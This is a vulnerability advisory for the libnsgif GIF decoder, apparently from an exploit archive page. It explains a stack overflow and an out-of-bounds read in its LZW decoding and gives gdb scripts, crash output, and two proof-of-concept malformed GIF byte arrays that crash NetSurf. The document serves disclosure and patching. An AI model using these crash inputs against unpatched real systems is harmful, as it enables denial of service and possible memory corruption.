| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Libnsgif Buffer Overflow Vulnerability | 9 Mar 202000:00 | – | cnvd | |
| Libnsgif Buffer Overflow Vulnerability (CNVD-2020-16720) | 9 Mar 202000:00 | – | cnvd | |
| CVE-2015-7505 | 18 Feb 202017:45 | – | cve | |
| CVE-2015-7506 | 18 Feb 202013:54 | – | cve | |
| CVE-2015-7505 | 18 Feb 202017:45 | – | cvelist | |
| CVE-2015-7506 | 18 Feb 202013:54 | – | cvelist | |
| CVE-2015-7505 | 18 Feb 202017:45 | – | debiancve | |
| CVE-2015-7506 | 18 Feb 202013:54 | – | debiancve | |
| EUVD-2015-7426 | 7 Oct 202500:30 | – | euvd | |
| EUVD-2015-7427 | 7 Oct 202500:30 | – | euvd |
Overview
========
Libnsgif[1] is a decoding library for GIF images. It is primarily
developed and used as part of the NetSurf project.
As of version 0.1.2, libnsgif is vulnerable to a stack overflow
(CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way
LZW-compressed GIF data is processed.
Details
=======
src/libnsgif.c #80..133:
,----
| /* Maximum LZW bits available
| */
| #define GIF_MAX_LZW 12
| [...]
| static int table[2][(1 << GIF_MAX_LZW)];
| static unsigned char stack[(1 << GIF_MAX_LZW) * 2];
`----
src/libnsgif.c #423..628:
,----
| static gif_result gif_initialise_frame(gif_animation *gif) {
| [...]
| if (gif_data[0] > GIF_MAX_LZW)
| return GIF_DATA_ERROR;
| [...]
| }
`----
src/libnsgif.c #751..1053:
,----
| gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) {
| [...]
| /* Initialise the LZW decoding
| */
| set_code_size = gif_data[0];
| [...]
| code_size = set_code_size + 1;
| clear_code = (1 << set_code_size);
| end_code = clear_code + 1;
| max_code_size = clear_code << 1;
| max_code = clear_code + 2;
| [...]
| }
`----
src/libnsgif.c #1145..1169:
,----
| void gif_init_LZW(gif_animation *gif) {
| [...]
| *stack_pointer++ =firstcode;
| }
`----
src/libnsgif.c #1172..1237:
,----
| static bool gif_next_LZW(gif_animation *gif) {
| [...]
| code = gif_next_code(gif, code_size);
| [...]
| incode = code;
| if (code >= max_code) {
| *stack_pointer++ = firstcode;
| code = oldcode;
| }
|
| /* The following loop is the most important in the GIF decoding cycle as every
| * single pixel passes through it.
| *
| * Note: our stack is always big enough to hold a complete decompressed chunk. */
| while (code >= clear_code) {
| *stack_pointer++ = table[1][code];
| new_code = table[0][code];
| if (new_code < clear_code) {
| code = new_code;
| break;
| }
| *stack_pointer++ = table[1][new_code];
| code = table[0][new_code];
| if (code == new_code) {
| gif->current_error = GIF_FRAME_DATA_ERROR;
| return false;
| }
| }
|
| *stack_pointer++ = firstcode = table[1][code];
| [...]
| oldcode = incode;
| [...]
| }
`----
CVE-2015-7505
=============
Since `gif_next_LZW()' writes onto the stack so long as `code' is at
least `clear_code', an overflow may eventually occur while processing a
maliciously crafted image.
Using NetSurf as an example:
,----
| ~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif
| [...]
| stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3)
| stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4)
| stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5)
| stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646)
|
| Program received signal SIGSEGV, Segmentation fault.
| 0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210
| 1210 *stack_pointer++ = table[1][code];
| (gdb)
`----
stack.py:
,----
| class Breakpoint(gdb.Breakpoint):
| def stop(self):
| stack_pointer = get_hex("stack_pointer")
| stack = get_hex("&stack")
| stack_size = get_hex("sizeof stack / sizeof *stack")
| stack_end = stack + stack_size
|
| table_size = get_hex("sizeof table / sizeof **table / 2")
| code = get_hex("code")
|
| if stack_pointer > stack_end:
| print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
| (stack_pointer, stack_end, stack_pointer - stack_end))
| if code >= table_size:
| print("out-of-bounds read: code: %d (+%d)" %
| (code, code - table_size + 1))
| return False
|
| def get_hex(arg):
| res = gdb.execute("print/x %s" % arg, to_string=True)
| x = res.split(" ")[-1].strip()
| return int(x, 16)
|
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
|
| gdb.execute("run")
`----
stack.gif:
,----
| unsigned char stack[] = {
| /* GIF87a */
| 0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
|
| /* gif_initialise() */
| 0x04, 0x00, /* gif->width */
| 0x04, 0x33, /* gif->height */
| 0x00, /* gif->global_colours */
| 0x00, /* gif->background_index */
| 0x00, /* gif->aspect_ratio */
|
| /* gif_initialise_frame() */
| 0x2c, /* GIF_IMAGE_SEPARATOR */
| 0x00, 0x00, /* offset_x */
| 0x00, 0x00, /* offset_y */
| 0x1b, 0x00, /* width */
| 0x04, 0x00, /* height */
| 0x00, /* flags */
| 0x04, /* code size */
| 0x0d, /* block_size */
|
| /* image data */
| 0x10, 0xcb,
| 0x41, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3,
|
| /* end of image data */
| 0x00,
|
| /* end of .gif */
| 0x3b
| };
`----
CVE-2015-7506
=============
If `set_code_size' is 0xc, `clear_code' is assigned a value of 4096.
Since the while-loop in `gif_next_LZW()' executes so long as `code >=
clear_code', an out-of-bounds read might occur due to `code' being used
to dereference `table' (2d array * 4096). A boundary check exist in
that if `code >= max_code', it's assigned the value of `oldcode' --
however, the result may still exceed `max_code' due to the bookkeeping
of the *original* value:
src/libnsgif.c #1172..1237:
,----
| static bool gif_next_LZW(gif_animation *gif) {
| [...]
| incode = code;
| if (code >= max_code) {
| *stack_pointer++ = firstcode;
| code = oldcode;
| }
| [...]
| oldcode = incode;
| [...]
| }
`----
Again, using NetSurf as an example:
,----
| ~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif
| [...]
| out-of-bounds read: code: 6670 (+2575)
| out-of-bounds read: code: 7999 (+3904)
`----
oob.py:
,----
| class Breakpoint(gdb.Breakpoint):
| def stop(self):
| stack_pointer = get_hex("stack_pointer")
| stack = get_hex("&stack")
| stack_size = get_hex("sizeof stack / sizeof *stack")
| stack_end = stack + stack_size
|
| table_size = get_hex("sizeof table / sizeof **table / 2")
| code = get_hex("code")
|
| if stack_pointer > stack_end:
| print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
| (stack_pointer, stack_end, stack_pointer - stack_end))
| if code >= table_size:
| print("out-of-bounds read: code: %d (+%d)" %
| (code, code - table_size + 1))
| return False
|
| def get_hex(arg):
| res = gdb.execute("print/x %s" % arg, to_string=True)
| x = res.split(" ")[-1].strip()
| return int(x, 16)
|
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
|
| gdb.execute("run")
`----
oob.gif:
,----
| unsigned char oob[] = {
| /* GIF87a */
| 0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
|
| /* gif_initialise() */
| 0x04, 0x00, /* gif->width */
| 0x04, 0x33, /* gif->height */
| 0x00, /* gif->global_colours */
| 0x00, /* gif->background_index */
| 0x00, /* gif->aspect_ratio */
|
| /* gif_initialise_frame() */
| 0x2c, /* GIF_IMAGE_SEPARATOR */
| 0x00, 0x00, /* offset_x */
| 0x00, 0x00, /* offset_y */
| 0x1b, 0x00, /* width */
| 0x04, 0x00, /* height */
| 0x00, /* flags */
| 0x0c, /* code size */
| 0x0d, /* block_size */
|
| /* image data */
| 0x10, 0xcb,
| 0x41, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3,
|
| /* end of image data */
| 0x00,
|
| /* end of .gif */
| 0x3b
| };
`----
Solution
========
Both vulnerabilities are fixed in git HEAD[2].
# 0day.today [2018-04-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation